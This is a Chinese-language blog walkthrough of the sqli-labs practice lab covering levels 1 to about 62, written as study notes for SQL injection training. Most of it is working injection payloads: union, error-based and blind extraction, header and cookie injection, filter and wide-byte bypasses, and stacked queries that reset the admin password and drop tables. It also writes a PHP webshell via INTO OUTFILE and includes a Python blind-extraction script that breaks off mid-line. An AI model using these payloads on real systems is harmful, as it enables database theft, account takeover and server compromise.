sqli-labs靶场通关详解(1-65关)_sqlilabs靶场1–65过关
sqli-labs靶场通关详解(1-65关)
学习完sql注入的理论与知识,要打靶场巩固提高,让知识更牢固
sqli-labs靶场很不错有很多场景,知识大多都有体现(但是关卡多,有些懂得思路即可,有些要自己理解)
我在写文章的时候也有省略,详细的要多花写时间理解
本人新手小白,如有错误,欢迎各位师傅指教,可评论或者私信
下载路径:https://gitcode.com/Resource-Bundle-Collection/c45c1?utm_source=highlight_word_gitcode&word=SQLi-Labs&isLogin=1
GET-联合查询
第一关
注释的不同:
1. 用`#`进行注释,一般可以,但是可以在前端进行过滤,导致注释不成功2. 用`-- q` 其中-- 代表注释,(某些数据库(如MySQL)要求 `--` 后必须有一个空格才能生效)所以加空格
构造Playlod的技巧:
当我们判断注入点时,要尝试闭合,可以用尝试故意报错了解闭合规则,在构造playlod
判断注入点
白盒中:查看代码:id=$id’ (注意闭合)
黑盒中:尝试(一般加-- +注释符)
-
判断注入类型(有无注入点)
加上 id=1 and 1=1 – q 反应正常 (id=1 and 1=2 – q 反应也正常) 说明不是数字型注入
尝试 id=1‘ and 1=1-- q 反应正常 (id=1’ and 1=2 – q 反应错误) 说明是字符型注入
-
判断字段数
id=1’ order by 4 – q 反应错误 id=1’ order by 3 – q反应正确 (字段数为3)
- 判断数据库类型
mysql:id=1\' AND updatexml(1,concat(0x7e,version()),1) -- q
显示数据库类型则为mysql
oracle: id=1\' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1)) -- q
反应ORA-错误含版本信息则为oracle数据库
sqlserver: id=1\' AND 1=convert(int,@@version) -- q
转换失败含版本信息则为sqlserver
- 使用联合查询union select 判断回显位置
id=1’ union select 1,2,3 – q (没有反应,因为id=1执行了,后面的不会覆盖)
id=-1’ union select 1,2,3 – q (id=-1,让前面的不执行)
-
查询数据库名
union select 1,database(),3 – q (回显security)
-
查询表名
第一种:group_concat(不太建议,有可能查不全,有坑)
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=\'数据库\' -- q
解释一下:group_concat(table_name)放在显示位上查询表名,可以直接写table_name,但有时候会只显示一个。from infonmation_schema.tables从记录表名的数据库中查找。where table_scema=\'syguestbook’查找一个数据库名叫syguestbook的数据库中的信息
第二种:table_name(一个一个查,慢但全)
union select 1,2,table_name from information_schema.tables where table_schema=\'数据库\' limit 1,1 --+
解释一下:table_name位数从0开始,更改时更改第一个数字(例如:limit 0,1;limit 1,1;limit 2,1)
- 查询字段名(和表名差不多)
第一种:group_concat
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' -- q
第二种:table_name(一个一个查,慢但全)
union select 1,2,column_name from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' limit 0,1 -- q
-
查询数据
第一种:group_concat
union select 1,2,group_concat(字段1,字段2,字段3....) from 表名 -- q
0x7e
作为分隔符避免数据粘连:字段1,0x7e,字段2
第二种:table_name(一个一个查,慢但全)
union select 字段名 from 数据库.表名 limit 0,1
第二关
和第一关的区别是:数字型 id=1
第三关
和第一关的区别是:是以单引号和括号闭合的形式(字符型) id=1\')
第四关
和第一关的区别是:是以双引号和括号闭合的形式(字符型) id=1\")
GET-报错注入
第五关
- 判断注入类型(有无注入点)
加上 id=1 and 1=1 --+ 反应正常 (id=1 and 1=2 --+ 反应也正常) 说明不是数字型注入
尝试 id=1‘ and 1=1 --+ 反应正常 (id=1’ and 1=2 --+ 反应错误) 说明是字符型注入
- 判断字段数
id=1’ order by 4 --+ 反应错误 id=1’ order by 3 --+反应正确 (字段数为3)
- 使用联合查询union select 判断回显位置
id=1’ union select 1,2,3 --+ (没有反应,因为id=1执行了,后面的不会覆盖)
id=-1’ union select 1,2,3 --+ (id=-1,让前面的不执行)
没有回显可以想到用盲注(一般可以先尝试报错注入——updatexml)
updatexml语法:updatexml(目标xml内容,xml文档路径,更新内容)
例子语句:
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)介绍:updatexml(1,xml文档路径,1)一般只需要改第二个
-
查询数据库名(盲注——报错注入)
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
-
查询表名(盲注——报错注入)
注意报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=\'数据库\' limit 0,1),0x7e),1) -- q
- 查询字段名(盲注——报错注入)
注意报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' limit 0,1),0x7e),1) -- q
- 查询数据(盲注——报错注入)
and updatexml(1,concat(0x7e,(select group_concat(username,password)from 表名),0x7e),1) -- q
第六关
和第5关的区别是:是以双引号闭合的形式(字符型) id=1”
GET-写入注入
第七关
-
判断注入类型(有无注入点)
是以 \')) 闭合的
- 判断字段数
id=1’ order by 4 --+ 反应错误 id=1’ order by 3 --+反应正确 (字段数为3)
-
利用写权限拿下服务器
因为报错注入(盲注没有用),但是有outfile想到可以用outfile向服务器写入文件
写马:在利用sql注入漏洞后期,最常用就是通过mysql的file系列函数来读取敏感文件或者写入webshell,其中比较常用的函数有以下三个
into dumpfile()
into outfile()
load_file()
前提:这些都需要设置secure_file_priv ,如果为空则可以指定任意目录,如果有设置等于某个路径就只能在这个指定路径下,而他为null值则禁止导入导出功能
id=1\')) UNION SELECT 1, \'\', 3 INTO OUTFILE \'C:\\\\tools\\\\phpstydy\\\\PHPTutorial\\\\WWW\\\\sqli-labs-master\\\\Less-7\\\\111.php\' --+解释:\'\'一句话木马INTO OUTFILE \'C:\\\\tools\\\\phpstydy\\\\PHPTutorial\\\\WWW\\\\sqli-labs-master\\\\Less-7\\\\webshell.php\' 找到被攻击服务器的路径,写木马(注意转义字符)
-
写入命令执行
Less-7/111.php?1=phpinfo();解释:在创建的111.php中用1来接;
-
用webshell工具连接被攻击服务器
GET-布尔盲注
盲注——正确和错误有两种不同的返回页面——优先选择布尔盲注
length()函数,返回字符串长度
substr() 截取字符串长度 (语法:substr(str,pos,len)😉
asccii() 返回字符asccii码
第八关
- 判断注入类型(有无注入点)
加上 id=1 and 1=1 --+ 反应正常 (id=1 and 1=2 --+ 反应也正常) 说明不是数字型注入
尝试 id=1‘ and 1=1 --+ 反应正常 (id=1’ and 1=2 --+ 反应错误) 说明是字符型注入
- 判断字段数
id=1’ order by 4 --+ 反应错误 id=1’ order by 3 --+反应正确 (字段数为3)
没有回显可以想到用盲注(布尔盲注)
-
猜解库名长度(二分法)
?id=1\' and length(database())>1 -- q true?id=1\' and length(database())>10 -- qfalse缩小范围;?id=1\' and length(database())=8 --+ true
-
利用Asccii猜解数据库名称 (ascii函数+substr函数) + 二分法
第一位?id=1\' and (ascii(substr(database(),1,1)))>100 -- q true?id=1\' and (ascii(substr(database(),1,1)))>200 -- q flase...第二位?id=1\' and (ascii(substr(database(),2,1)))>100 -- q true解释:substr(string, start, length) - 这是字符串截取函数第一个参数是要处理的字符串第二个参数是开始位置(从1开始计数)第三个参数是要截取的长度
-
利用Asccii猜解表名称 (ascii函数+substr函数) + 二分法
第一位?id=1\' and (ascii(substr((select table_name from information_schema.tables where table_schema=\'数据库\' limit 0,1),1,1)))>100 --+ true?id=1\' and (ascii(substr((select table_name from information_schema.tables where table_schema=\'数据库\' limit 0,1),1,1)))>200 --+ false...第二位?id=1\' and (ascii(substr((select table_name from information_schema.tables where table_schema=\'数据库\' limit 0,1),2,1)))>100 --+ true解释:把database()数据库名换成(select table_name from information_schema.tables where table_schema=\'数据库\' limit 0,1) 来查询表名注意:这时候(select table_name from information_schema.tables where table_schema=\'数据库\' limit 0,1)里面的数字不用改,改外面截取的
注意:里面是数字是控制第几个表,外面的数字控制第几个表里的第几个字母
里面的表从0开始,外面的表1开始
-
利用Asccii猜解字段 (ascii函数+substr函数) + 二分法
第一位?id=1\' and (ascii(substr((select column_name from information_schema.columns where table_schema=\'security\' and table_name=\'表名\' limit 0,1),1,1)))>100 --+ true?id=1\' and (ascii(substr((select column_name from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' limit 0,1),1,1)))>200 --+ false...第二位?id=1\' and (ascii(substr((select column_name from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' limit 0,1),2,1)))>100 --+ true解释:把database()数据库名换成(select column_name from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' limit 0,1) 来查询字段注意:这时候(select column_name from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' limit 0,1)里面的数字不用改,改外面截取的
-
利用Asccii猜解字段 中具体数据 (ascii函数+substr函数) + 二分法
?id=1\' and (ascii(substr((select 字段名 from 数据库.表名 limit 0,1),1,1)))>100 --+ true
-
GET-时间盲注
盲注——正确和错误同样的返回页面——时间盲注
因为时间盲注不加时间条件看不出来。
if(条件,sleep(5),1) 正确延迟5秒,错误不延迟
第九关
-
判断字段(时间盲注——在bp中判断)
注意url编码,(在请求头中的url编码是什么就先把playlod先编码在发送)
?id=1 and if(1=1,sleep(5),1) --+时间正常?id=1\' and if(1=1,sleep(5),1) --+ 时间延迟了5秒
-
爆数据库长度(在请求头中的url编码是什么就先把playlod先编码在发送)
?id=1\' and if(length(database())=8,sleep(5),1) -- q
- 利用Asccii猜解数据库名称 (ascii函数+substr函数) + 二分法
?id=1\' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
- 利用Asccii猜解表名称 (ascii函数+substr函数) + 二分法
?id=1\' and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'数据库\' limit 0,1),1,1))=101,sleep(5),1) --+
- 利用Asccii猜解字段名称 (ascii函数+substr函数) + 二分法
?id=1\' and if(ascii(substr((select column_name from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' limit 0,1),1,1))=105,sleep(5),1) --+
- 利用Asccii猜解字段中具体数据 (ascii函数+substr函数) + 二分法
?id=1\' and if(ascii(substr((select 字段名 from 数据库.表名 limit 0,1),1,1))=105,sleep(5),1) --+
第十关
以“闭合
post注入—联合查询
第十一关
一般在输入框注入的为POST请求,在url中构造没有用
-
使用可以POST提交的插件,例如Firefox中的HackBar
-
使用Burpsuite抓包后,然后修改
-
直接在输入框中注入
-
利用BP抓包,存储在文件中,用SQLMAP 跑。
在输入框中进行测试
-
判断注入点(万能语句)
\' or 1=1 -- q 解释:’代表闭合,or 1=1 用于让语句一定执行
-
判断字段数
\'or 1=1 order by 3 -- q 报错\'or 1=1 order by 2 -- q 正确
-
判断显错位
\'union select 1,2 -- q
-
判断库名
\'union select 1,database() -- q
-
查询表名
\'union select 1,group_concat(table_name) from information_schema.tables where table_schema=\'数据库名\' -- q 数据库位:security
-
查询字段名
\'union select 1,group_concat(column_name) from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' -- q
-
查询数据
\'union select 1,2,group_concat(字段1,字段2,字段3....) from 表名 -- q
-
第十二关
以“)闭合
post注入—报错注入
第十三关
-
判断注入点
\') or 1=1 -- q 返回正确,且以‘)闭合
-
判断字段数
\') or 1=1 order by 2 -- q 返回正确
-
判断回显位
\')union select 1,2 -- q
没有回显,尝试报错注入
-
查询数据库名
\')and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q把and换成 union select 也可以解释:updatexml() 是一个函数,不能直接跟在 \') 后面,因为缺少连接词(如 and、union、or)
-
查询数据表
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=\'数据库\' limit 0,1),0x7e),1) -- q
-
查询字段
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' limit 0,1),0x7e),1) -- q
7. 查询数据
\'
and updatexml(1,concat(0x7e,(select group_concat(username,password)from 表名),0x7e),1) – q
第十四关
以“闭合
post注入—布尔盲注
第十五关
-
判断注入点(注意这里以
\'
闭合) -
查询字段数
-
判断显示位
-
无显示尝试报错注入
-
尝试布尔盲注
判断数据库的长度(二分法)
\'or length(database())=8 -- q注意:在and注入中常用and连接符post注入常用or连接符(用于绕过)在这里and不可以 因为闭合后,为空(例如name=\'\')
-
查询数据库名称(二分法)
\'or (ascii(substr(database(),1,1)))>120 -- q
-
查询表名称(二分法)
\'or (ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit 0,1),1,1)))>100 -- qtable_name from information_schema.tables where table_schema=\'数据库\'
-
查询字段名称(二分法)
\'or (ascii(substr((select column_name from information_schema.columns where table_schema=\'security\' and table_name=\'表名\' limit 0,1),1,1)))>100 -- q
-
查询数据(二分法)
\'or (ascii(substr((select 字段名 from 数据库.表名 limit 0,1),1,1)))>100 -- q
第十六关
以”)
闭合
post注入—过滤+报错注入
第十七关
代码中对账号输入栏有过滤
这关的提示是密码重置,所以要知道先爆破出账号,在密码框中注入(提示我们,要多尝试几个框)
爆破:
-
判断注入点(输入正确密码)
-
查询字段数。
-
判断显错位。
-
没有回显尝试报错注入
有回显——进行报错注入
请求头注入
- 刚打开页面显示自己本机的ip地址——记录了我们的信息——应该于数据库有联系——可能有SQL注入
- 记录了我们登录的信息(例如浏览器信息,ip信息)——想到数据包中的请求头暴露的——想到头注入
常见的请求头:
- User_Agent 浏览器的身份标识字符串
- Referer 表示浏览器所访问的前一个页面,也可以认为是之前访问页面的链接将浏览器带到了当前页面
- Accept 可接受响应内容类型(Content-Types)
- X-Forwarded-For 可以用来表示HTTP请求端真实ip
- Date 发送该消息的日期和时间
User_Agent注入
第十八关
思路:看见ip 想到:X-Forwarded-For,抓包后没有,尝试其他头注入。
注意:在bp中修改数据爆要严谨,自己构造语句避免有空行(我就是在这里卡了2个小时)
-
尝试注入点
Burp抓包——在UA头里尝试
用and 1=1和1=2 反应正常
在后面加
\'
报错
利用报错,构造playlod
看见这种报错,可以尝试构造闭合playlod——发现这是用完引号缺少‘xxx.xxx.xxx.xxx’, ‘admin’)\'
所以构造playlod时,要注释后面,并且在前面加上两个数字,用来符合代码要求
例如:\'(\'playlod\',1,1)-- q
-
直接用报错注入,爆破数据库
\' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1) -- q解释:\' 用于闭合and updatexml(1,concat(0x3a,(select database()),0x3a),1) //爆破数据库,1,1) -- + //用于补充代码要求,并且注释后面代码
-
查询表名
\' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1),1,1) -- q
-
查询字段
\' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=\"users\" limit 2,1),0x3a),1),1,1) -- q
-
查询数据
\' and updatexml(1,concat(0x3a,(select 字段名 from users limit 0,1),0x3a),1),1,1) -- q
Referer注入
第十九关
和第十八关一样,注入点换成了referer
在U-A头注入,页面回显referer
Cookie注入
第二十关
输入账号提示cookie——尝试cookie注入
注意:注入语句都差不多——形成注入思路
一般报错注入最快,可以先尝试,然后再尝试联合注入,不行用盲注
-
判断注入点(注意这关会法两个数据包,第一个是post用来登录,第二个是GET,修改这个包才可以)
联合注入和报错注入,虽然是get包,但是用post注入
回显正常,应该是用\'
闭合
接下来都一样
第二十一关(编码)
和上一关一样,不过抓包显示时,有编码(在burp右边可以看见编码类型)
-
判断注入点(通过尝试判断
\')
以这个闭合(图中是burp改编码的方法)
第二十二关
以\"
闭合
sqli-labs靶场——高级注入
第二十三关(注释过滤)
提醒:这题过滤了#
和--
注释符
如果 #
和 --
都被过滤,可以尝试:
-
用
;%00
(空字节截断)- 例如:
id=1\' AND 1=1;%00
%00
是 NULL 字符,可能提前终止 SQL 语句。
- 例如:
-
用
/*注释*/
(多行注释)- 例如:
id=1\' AND 1=1 /*注释*/
- 例如:
-
闭合引号 + 逻辑判断
- 例如:
id=1\' OR \'1\'=\'1\'
(无需注释符)。
- 例如:
-
判断注入点
报错显示q没有被注释,然后用#还是报错说明这两个注释符被过滤了
空字节截断(推荐)
用;%00截断注释(Mysql中)?id=1\' and 1=1 ;%00 返回正常?id=1\' and 1=2 ;%00 返回错误
尝试构造语句闭合
?id=1\' and 1=1 and \'1\'=\'1 返回正常?id=1\' and 1=2 and \'1\'=\'1 返回错误解释:把注释符换成and \'1\'=\'1
- 判断字段数
?id=1\' order by 4 ;%00 反应错误 ?id=1\' order by 3 ;%00反应正确 (字段数为3)
二次注入
一般有注册/登录时可以用二次注入
第二十四关
这题不参考源代码很难
大佬参考:https://www.jianshu.com/p/3fe7904683ac
注意在post请求中先尝试#注释符
二次过程:
1.插入恶意数据
这里插入admin\'#
密码为123
mysql_escape_string进行转义处理但是写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据
2.引用恶意数据
登录admin’#进行修改密码,修改为123456
解释:$sql = \"UPDATE users SET PASSWORD=\'$pass\' where username=\'$username\' and password=\'$curr_pass\' \";(原语句)$sql = \"UPDATE users SET PASSWORD=\'$pass\' where username=\'admin\'#\' and password=\'$curr_pass\' \"; (拼接后)$sql = \"UPDATE users SET PASSWORD=\'123456\' where username=\'admin\' (因为#后面的被注释,相当于修改的admin的密码)
双写绕过+逻辑替换
第二十五关
尝试注入:
发现and和or大小写都被过滤
逻辑替换
首先可以用逻辑运算符替换and和or,(&&和||)
但是注意&&代表多个传参,所以要先进行url编码
-
判断注入点(尝试闭合)
id=1\' %26%26 1=1 -- qid=1\' %26%26 1=2 -- q
双写绕过
对于语句来讲不能用逻辑运算符来替换,所以要双写绕过(其实不用逻辑替换直接用双写就行)
-
判断字段数
id=1\' oorrder by 3 -- qid=1\' oorrder by 4 -- q
接下来用联合注入或许报错注入都可以(注意双写)
第二十六关(空格过滤)
尝试注入,发现and和or被过滤,注释符被过滤,空格也被过滤
空格替换
- 用%0a或者%0d
- 用括号包围
-
判断注入点(类型)
?id=1\'
说明存在注入点,且以\'
闭合(闭合符号的判断)
-
查询数据库名(有报错直接用报错注入)
aandnd (updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd \'1\'=\'1|| updatexml(1,concat(0x7e,(select(database())),0x7e),1) aandnd \'1\'=\'1解释:select(database()),把database()用括号隔开,绕过空格
-
查询表名(构造这种复杂的playlod,最好分开写)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=\'security\'),0x7e),1) aandnd \'1\'=\'1解释:updatexml(1,语句,1)concat(0x7e,(查询),0x7e)下面的添加到(查询)select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=\'security\'
-
查询列名
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)=\'security\'aandnd(table_name)=\'users\'),0x7e),1) aandnd \'1\'=\'1注意:(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)=\'security\'aandnd(table_name)=\'users\')
-
查询数据
updatexml(1,concat(0x7e,(select(group_concat(username,passwoorrd))from (users)),0x7e),1) aandnd \'1\'=\'1注意:(select(group_concat(username,passwoorrd))from (users))
第二十七关(大小写过滤)
这题查看源码发现过滤了空格,注释符,union、select
union、select这种查询单词,一般是黑名单过滤(可以在这里面插入大小写过滤)
例如
select -- selECtunion -- unIOn
其他的拼接语句就可以
第二十八关(双写绕过)
function blacklist($id){$id= preg_replace(\'/[\\/\\*]/\',\"\", $id);//strip out /*$id= preg_replace(\'/[--]/\',\"\", $id);//Strip out --.$id= preg_replace(\'/[#]/\',\"\", $id);//Strip out #.$id= preg_replace(\'/[ +]/\',\"\", $id); //Strip out spaces.//$id= preg_replace(\'/select/m\',\"\", $id); //Strip out spaces.$id= preg_replace(\'/[ +]/\',\"\", $id); //Strip out spaces.$id= preg_replace(\'/union\\s+select/i\',\"\", $id); //Strip out UNION & SELECT.return $id;}源码过滤了union select说明要想用联合注入,要双写或者用报错注入
-
判断注入点(闭合方式)
说明是\')
闭合,并且没有报错,不能用报错回显
- 判断字段数
id=1\') %0a order %0a by %0a 3;%00
-
判断回显位
id=0\') %0a unionunion %0a select %0a select %0a 1,2,3 ;%00
解释:相当于把union select拿走一份
unionunion %0a select %0a select (把黑体拿走) -
其他的都差不多
HTTP参数过滤
HTTP参数污染,也叫HPP(HTTP Parameter Pollution)。简单地讲就是给一个参数赋上两个或两个以上的值,由于现行的HTTP标准没有提及在遇到多个输入值给相同的参数赋值时应该怎样处理,而且不同的网站后端做出的处理方式是不同的,从而造成解析错误。
场景:如果进行了检测又无法绕过的情况下,可以尝试通过重复提交参数/参数拼接方式绕过检测。
构造参数:?id=1&id=3
第二十九关
?id=1&id=0\' union select 1,database(),3 --+
第三十关
以\'\'
闭合
第三十一关
以”)
闭合
宽字节注入
代码:addslashes函数的作用就是让’变成’,让引号变得不再是原本的“单引号”,没有了之前的语义,而是变成了一个字符。那么我们现在要做的就是想办法将’前面的\\给它去除掉:
过滤:
%df就可以进行绕过,利用宽字节原理:利用繁体字或者乱码,来进行占用两个字节。注意:%df是url编码:解码中文是?
第三十二关
-
判断注入点(闭合类型)
发现`后面有\\过滤,说明存在宽字节过滤
?id=1%df\' and 1=1 -- q
说明是单引号闭合
-
判断字段数
其他的差不多
第三十三关
和三十三关一样,只是不能报错注入
第三十四关(podt)
发现这关是post注入
发现%df并没有把\\过滤掉
原因:post注入,输入数据不会变成url编码
GET注入,输入数据会转成url编码
解决方法:
- 用汉字代替%df,因为汉字有的是3字节的,拆开来看,前两个位一组,后面一个字节和\\相编码为两个字节的绕过
- 在burp里改包
1.判断注入点
思路对,playlod很好构造
注意GET和POST的联合注入不一样,要用POST注入来
注意:像\'security\'
因为带单引号,所以在输入框中注入时先改为16进制
例如:security的十六进制是7365637572697479,则在bp和输入框中写0x7365637572697479 (0x代表16进制,要写)
第三十五关
数字型注入然后加上宽字节,注意
第三十六关
playlod一样
只是在源代码中使用mysql_real_escape_string函数对输入的字符进行过滤
第三十七关
playlod一样,只是换成了post注入
只是在源代码中使用mysql_real_escape_string函数对输入的字符进行过滤
堆叠注入
堆叠注入:利用SQL语句的结束符号“;”来分隔不同的命令。在某些情况下,如果数据库服务器配置允许执行多条语句,攻击者可以在注入点后添加额外的SQL命令来执行。
要成功实现堆叠注入,需要满足几个条件:
- 目标系统存在SQL注入漏洞。
- 目标系统没有对分号“;”进行过滤。
- 目标系统在查询数据库时使用的方法可以同时执行多条SQL语句,如PHP中的
mysqli_multi_query()
函数。
第三十八关
这一关以\'
闭合然后联合查询就可以注入成功
但是这一关真正考察的是堆叠注入(源代码中有mysqli_multi_query()
)
插入语句:
?id=1\';insert into users(id,username,password)values(\'111\',\'111\',\'111\') -- q
第三十九关
数字型注入,直接联合查询,查到users表,插入数据。
?id=1;insert into users (id,username,password) values (\'22\',\'xx\',\'xx\') -- q
第四十关
以\')
闭合,进行联合注入
?id=-1\');insert into users (id,username,password) values (\'33\',\'cc\',\'cc\') -- q
第四十一关
和三十九关一样整型注入
第四十二关
这一关有点像二次注入的场景,但是创建用户的时候,发现创建不了
在尝试post注入,在用户名框注入,发现都是同一个界面,尝试在密码框中注入发现有注入
1.判断注入点
\' or 1=1 -- q
2.接下来走联合注入,没有回显,尝试报错注入
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
报错注入可以——接着报表,字段,数据
3.尝试用堆叠注入——修改admin的密码,用admin登录
\'; update security.users set password=\'123456\' where username=\'admin\' -- q
注意这里会报错,但是尝试登录,是修改成功的
第四十三关
尝试注入,发现闭合报错提示
1.判断注入点(用\\)
\\ 直接用斜杠转义 发现是\')闭合的
2.查询数据
\')and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
3.尝试用堆叠注入——修改admin的密码,用admin登录
\'); update security.users set password=\'1111\' where username=\'admin\' -- q
第四十四关
布尔盲注
1.判断注入点 (以’闭合)
\' or 1=1 -- q
2.尝试了联合注入,报错注入,都不可以,使用盲注(先尝试布尔注入)
\'or length(database())=8 -- q
3.尝试用堆叠注入——修改admin的密码,用admin登录
第四十五关
以\')
闭合+布尔盲注
order by 注入
前面的注入都是在where
后面的注入,这是在order by
后面的注入
order by
作用:在前面我们利用它来判断字段数
它还有排序的功能,(排序又是sort
)
判断order by 注入的方法:参数名是sort,或者对查询结果进行排序。
order by 注入方法:后面不能直接跟union连接查询,所以一般用,报错注入,布尔盲注,时间盲注。
第四十六关
-
判断注入点(根据参数名是sort,猜测是order by 注入)
且为字符型注入
-
尝试报错注入(和get的报错注入方式一样)
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
第四十七关
以单引号闭合
第四十八关
-
判断注入类型(数字型)
?sort=rand() -- q
-
尝试布尔盲注(报错盲注没有回显)
order by 布尔盲注借助rand()函数
-
rand(0)——记住条件为假时的顺序
-
rand(1)——记住条件为真时的顺序
3.判断数据库长度
?sort=rand(length(database())>5) -- q true ?sort=rand(length(database())>10) -- q false?sort=rand(length(database())=8) -- q true
-
-
判断数据库名(二分法)
?sort=rand((ascii(substr(database(),1,1)))>100) -- q true?sort=rand((ascii(substr(database(),1,1)))>200) -- qfalse
-
借助于get的布尔盲注(只需要把判断语句放到rand里面就行)
第四十九关
-
判断注入类型
?sort=rand() -- q
-
尝试时间盲注(采用布尔盲注时,页面回显一样)
注意:有时候秒数差距很大的时候也不要紧,我在这几关差距很大
?sort= 1\' and if(length(database())>5,sleep(3),1) -- q
-
猜解数据库名
?sort=1\' and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- q
-
借助get的时间盲注,构造playlod
第五十关
考察点:堆叠注入
-
判断注入点(数字型)
-
尝试报错注入
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
-
尝试堆叠注入,修改数据库
?sort=1;create table aaa like users-- q 解释:create table aaa like users-- q 创建一个像users一样的表
-
在表中插入数据
?sort=1;insert into aaa values (1,\'aa\',\'ss\') -- q
-
删除表
?sort=1;drop table aaa -- q
第五十一关
于50关一样,换成了以单引号闭合
第五十二关
- 判断注入点——数字型
- 尝试布尔盲注——没有报错回显
- 尝试堆叠注入
第五十三关
- 判断注入点——以单引号闭合
- 尝试时间盲注——没有报错回显,页面的回显一样,不能用布尔盲注
- 尝试堆叠注入
挑战
第五十四关
这题意思就是,尝试10次数据库更新,在10次里面要找到Secret Key
-
判断注入点
?id=1\'?id=1\"?id=1\' -- q //根据这3条,发现是以单引号闭合的
-
判断字段
order by 4 -- qorder by 3 -- q
-
判断显错位
?id=-1\' union select 1,2,3 -- q
-
查询数据库
?id=-1\' union select 1,database(),3 -- q
-
查询数据表
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=\'数据库\' -- q
-
查询字段
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=\'数据库\' and table_name=\'表名\' -- q
-
查询secret中的数据
union select 1,2,group_concat(字段) from 表名 -- q
第五十五关
以)
闭合
?id=1) and 1=1 -- q?id=1) and 1=2 -- q用这种方式查闭合最准,最可靠
第五十六关
以’)闭合
第五十七关
以\"闭合
第五十八关
以单引号闭合+报错注入
?id=1\' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
第五十九关
数字型+报错注入
?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
第六十关
以\")
闭合,用报错注入
?id=1\") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
第六十一关
以\'))
闭合,用报错注入
?id=1\')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q
第六十二关
以’)闭合+布尔盲注
-
判断注入点
?id=1\'?id=1\"?id=1\' -- q
-
查询数据库名的长度
?id=1\') and length(database())>5 -- q true?id=1\') and length(database())>10 -- qfalse?id=1\') and length(database())=10 -- qtrue
-
查询数据库名(二分法)
?id=1\') and (ascii(substr(database(),1,1)))>100-- qfalse?id=1\') and (ascii(substr(database(),1,1)))>97-- qtrue?id=1\') and (ascii(substr(database(),1,1)))=99-- qtrue 说明首字母是c
-
查询数据表,接着查询数据
布尔盲注,用sqlmap或者脚本相对快 (还是很慢的)
脚本
import stringfrom time import time, sleepimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]letters2 = list(string.ascii_lowercase)fuhao = [\"@\", \"$\", \"^\", \"(\", \")\", \"_\", \"UNHEX(\'2D\')\", \",\", \".\", \"{\", \"}\", \"[\", \"]\", \":\", \";\", \"|\"]if __name__ == \'__main__\': test = True # 获取正确返回内容长度 url = \"http://待测url \" list1 = numbers + letters2 + fuhao # 获取数据库名 database = \"\" num = 0 print(f\"数据库:\") for p in range(50): if num > len(list1) * 2: break for a in list1: num += 1 url_db = url + f\"and(substr(database(),{p},1)=\'{a}\')--+\" res = requests.get(url_db) if \"Angelina\" in res.text: database = f\"{database}{a}\" print(a, end=\'\') num = 0 print(\"\") # 获取所有表名 num = 0 tables = \"\" print(f\"所有表名:\") for p in range(1000): if num > len(list1) * 2: break for a in list1: url_db = url + f\"and(substr((SelEct(group_concat(table_name))from(information_schema.tables)where(table_schema=\'{database}\')),{p},1)=\'{a}\')--+\" num += 1 res = requests.get(url_db) if \"Angelina\" in res.text: tables = f\"{tables}{a}\" print(a, end=\'\') num = 0 print(\"\") # 获取users表所有字段 columns = \"\" print(f\"表所有字段名:\") num = 0 for p in range(1000): if num > len(list1) * 2: break for a in list1: url_db = url + f\"and(substr((sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema=\'{database}\')%26(table_name=\'{tables}\')),{p},1)=\'{a}\')--+\" num += 1 res = requests.get(url_db) if \"Angelina\" in res.text: columns = f\"{columns}{a}\" print(a, end=\'\') num = 0 print(\"\") # 换行 zds = columns.split(\",\") zd = \"\" for a in zds: if \"secret\" in a: zd = a # 获取所有账号 users = \"\" print(f\"所有数据:\") num = 0 for p in range(1000): if num > len(list1) * 2: break for a in list1: if a == \"UNHEX(\'2D\')\": url_db = url + f\"and(substr((selEcT(group_concat({zd}))from({tables})),{p},1)={a})--+\" else: url_db = url + 